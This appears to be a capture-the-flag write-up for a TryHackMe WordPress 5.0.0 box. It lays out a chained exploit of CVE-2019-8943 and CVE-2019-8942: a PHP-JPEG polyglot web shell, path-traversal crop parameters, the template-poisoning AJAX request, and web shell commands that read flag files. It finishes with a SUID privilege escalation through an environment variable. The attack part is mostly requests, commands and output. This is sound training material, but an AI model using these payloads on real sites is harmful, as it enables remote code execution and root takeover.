Overview
WordPress 5.0.0 is running on the target. The exploit chains two CVEs: CVE-2019-8943 (path traversal during image crop) plants a PHP-JPEG polyglot into the active theme directory, and CVE-2019-8942 (unprotected _wp_page_template meta write via save-attachment-compat AJAX) makes WordPress load the polyglot as a PHP template — giving unauthenticated-reachable RCE as www-data. A deliberately misleading decoy flag at /home/bjoel/user.txt redirects you before the real flag surfaces on a mounted USB device. Root comes via a SUID binary that checks a single environment variable.
Reconnaissance
| Port | Service | Detail |
|---|---|---|
| 22/tcp | OpenSSH 7.6p1 | Ubuntu 18.04 |
| 80/tcp | Apache 2.4.29 | WordPress 5.0.0 — blog.thm |
WPScan enumerates two users: kwheel (Author) and bjoel (Administrator). Password spray with a common wordlist hits kwheel:cutiepie1. Author-role is enough — CVE-2019-8943 only needs permission to upload media and perform cropping, which Authors have by default in WordPress.
wpscan --url http://blog.thm --enumerate u,p --plugins-detection aggressive
# → WordPress 5.0.0, Users: kwheel, bjoel
Exploitation — CVE-2019-8942 + CVE-2019-8943
Phase 1 — PHP-JPEG Polyglot
The exploit requires a specially crafted JPEG that survives WordPress's GD library re-encoding. The Metasploit team's polyglot embeds <?=`$_GET[0]`;?> in two locations inside the JPEG binary: once inside an IPTC metadata block (APP13 / 0xFFED) and again at the very start of the JFIF scan stream (0xFFDA offset ~684). The 192-byte quantisation tables are tuned so that a 100×100 crop passes the scan segment through GD without re-encoding, preserving the PHP payload. A 192×192 crop triggers a full DCT re-encode that strips it.
// PHP payload bytes embedded twice in the polyglot:
// 0x3C 0x3F 0x3D 0x60 0x24 0x5F 0x47 0x45 0x54 0x5B 0x30 0x5D 0x60 0x3B 0x3F 0x3E
// < ? = ` $ _ G E T [ 0 ] ` ; ? >
// Appears at IPTC block (0xFFED / APP13) and at scan header (0xFFDA)
Phase 2 — Path Traversal Write (CVE-2019-8943)
After uploading the polyglot as evil.jpg, the _wp_attached_file post meta is poisoned via the editpost handler using meta_input. WordPress's wp_ajax_crop_image() takes this meta value verbatim to construct the source path for the crop operation, making no attempt to canonicalise it. The traversal payload escapes wp-content/uploads/ and writes the cropped file directly into the active theme folder:
meta_input[_wp_attached_file] =
2026/04/evil.jpg?/../../../../themes/twentytwenty/evil
# wp_ajax_crop_image() builds:
# src = uploads/2026/04/evil.jpg (reads original polyglot)
# dest = uploads/2026/04/cropped-evil.jpg
# → after traversal resolution:
# wp-content/themes/twentytwenty/cropped-evil.jpg ✓
# Crop must be exactly 100×100 to preserve the PHP scan segment:
cropDetails[width]=100 cropDetails[height]=100
cropDetails[dst_width]=100 cropDetails[dst_height]=100
The resulting cropped-evil.jpg is 954 bytes, with the PHP shell intact at scan offset 684.
Phase 3 — Template Poisoning (CVE-2019-8942)
The wp_ajax_save_attachment_compat() handler in WordPress 5.0.0 accepts an attachments[id] array and calls update_post_meta() directly — skipping the is_protected_meta() check that would normally block writes to keys prefixed with _wp_page_template. This allows an Author to set a custom page template on any attachment they own:
POST /wp-admin/admin-ajax.php
action=save-attachment-compat
&_ajax_nonce=<nonce>
&id=<attach_id>
&attachments[<attach_id>][_wp_page_template]=cropped-evil.jpg
&attachments[<attach_id>][post_title]=evil
# Also required: set post_parent=8 (bjoel's "Note from Mom" post ID)
# so the attachment's pretty permalink resolves under /note-from-mom/
Phase 4 — RCE
WordPress's template resolution for attachment pages works as follows: get_attachment_template() finds no attachment.php or image.php in twentytwenty, so it falls through to get_single_template(), which reads the _wp_page_template meta. locate_template(['cropped-evil.jpg']) resolves the filename against the active theme directory and finds themes/twentytwenty/cropped-evil.jpg. WordPress calls include() on it — PHP interprets the scan data, hits the embedded payload, and executes the shell.
# Shell URL (attachment permalink under Note from Mom):
GET /2020/05/26/note-from-mom/evil/?0=id
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
GET /2020/05/26/note-from-mom/evil/?0=cat+/home/bjoel/user.txt
→ "You won't find what you're looking for here. TRY HARDER"
# ← decoy. Real user flag is on a mounted USB device.
GET /2020/05/26/note-from-mom/evil/?0=cat+/media/usb/user.txt
Custom Node.js Exploit
The full exploit was written from scratch in Node.js (exploit8.js), using only the built-in http module. It handles login, nonce extraction, multipart upload of the polyglot buffer, crop chain with path traversal meta, save-attachment-compat template write, and RCE verification — all in a single automated run with no external dependencies.
node exploit8.js
# [+] Logged in as kwheel
# [+] Uploaded ID: 14 YM: 2026/04
# [*] Crop result: {"success":true,"data":{"id":15,...}}
# [+] Shell after crop: 200 954b PHP: true
# [*] save-attachment-compat: 200 {"success":true}
# [++++] RCE via /2020/05/26/note-from-mom/evil/?0=id
# [++++] uid=33(www-data) gid=33(www-data)
Privilege Escalation — SUID checker
Scanning for SUID binaries from the web shell reveals a non-standard binary:
find / -perm -4000 -type f 2>/dev/null
# -rwsr-sr-x 1 root root 8432 May 26 2020 /usr/sbin/checker
Disassembling / decompiling the binary (Ghidra / radare2) exposes trivially simple logic — it reads the admin environment variable and calls setuid(0) + system("/bin/bash") if it equals the string "admin":
// Reconstructed C pseudo-code from decompilation:
int main() {
char *v = getenv("admin");
if (v && strcmp(v, "admin") == 0) {
setuid(0);
system("/bin/bash");
} else {
puts("Not an Admin");
}
}
www-data Shell Context
Calling system("/bin/bash") from inside a process chain spawned by PHP's backtick operator doesn't propagate stdout back through the pipe correctly. Python's subprocess.Popen with explicit PIPE fds handles the inter-process communication reliably instead.
# Exploit via Python subprocess from the RCE shell:
python3 -c "
import os, subprocess
env = dict(os.environ)
env['admin'] = 'admin'
p = subprocess.Popen(
['/usr/sbin/checker'],
stdin=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, env=env
)
out, err = p.communicate(b'cat /root/root.txt\n')
print(out.decode())
"
Key Technical Notes
Why 100×100 crop is the critical constraint
GD's JPEG encoder decides whether to re-encode scan data based on the output dimensions. At 192×192, the full DCT coefficient stream is re-generated from scratch, overwriting the scan segment entirely — the PHP bytes are gone. At 100×100, GD copies the existing Huffman-coded scan block with only a header modification, leaving the payload at offset 684 intact. The MSF polyglot's quantisation tables are specifically tuned for this boundary.
Why save-attachment-compat bypasses meta protection
In WordPress 5.0.0, wp_ajax_save_attachment_compat() calls update_post_meta($id, $key, $value) for each key in the attachments[id] array without first passing through is_protected_meta(). The regular editpost handler uses _wp_get_allowed_meta_keys() to sanitise the meta whitelist — but the AJAX compat handler skips this entirely. This is the actual CVE-2019-8942 vulnerability path.
The decoy flag
/home/bjoel/user.txt reads: "You won't find what you're looking for here. TRY HARDER". The real user.txt lives at /media/usb/user.txt — a USB device mounted inside the container. Findable with find / -name user.txt 2>/dev/null.
Lessons Learned
- Author-role ≠ low-risk. WordPress's media handling historically ships with unprotected AJAX handlers reachable by any authenticated user, regardless of role.
- JPEG polyglots survive GD — at the right crop size. File upload validation that relies solely on GD re-encoding is defeatable with dimension-aware payload placement.
- Path traversal in meta values. Unsanitised post meta passed to filesystem operations is the recurring theme across multiple WordPress CVEs.
- SUID +
getenv()is trivially exploitable. Environment variables are fully attacker-controlled. Any SUID binary that trusts env input for privilege decisions is an instant privesc. - Always run
find / -name user.txt. Decoy flags at expected paths are a classic TryHackMe misdirection — enumerate mount points.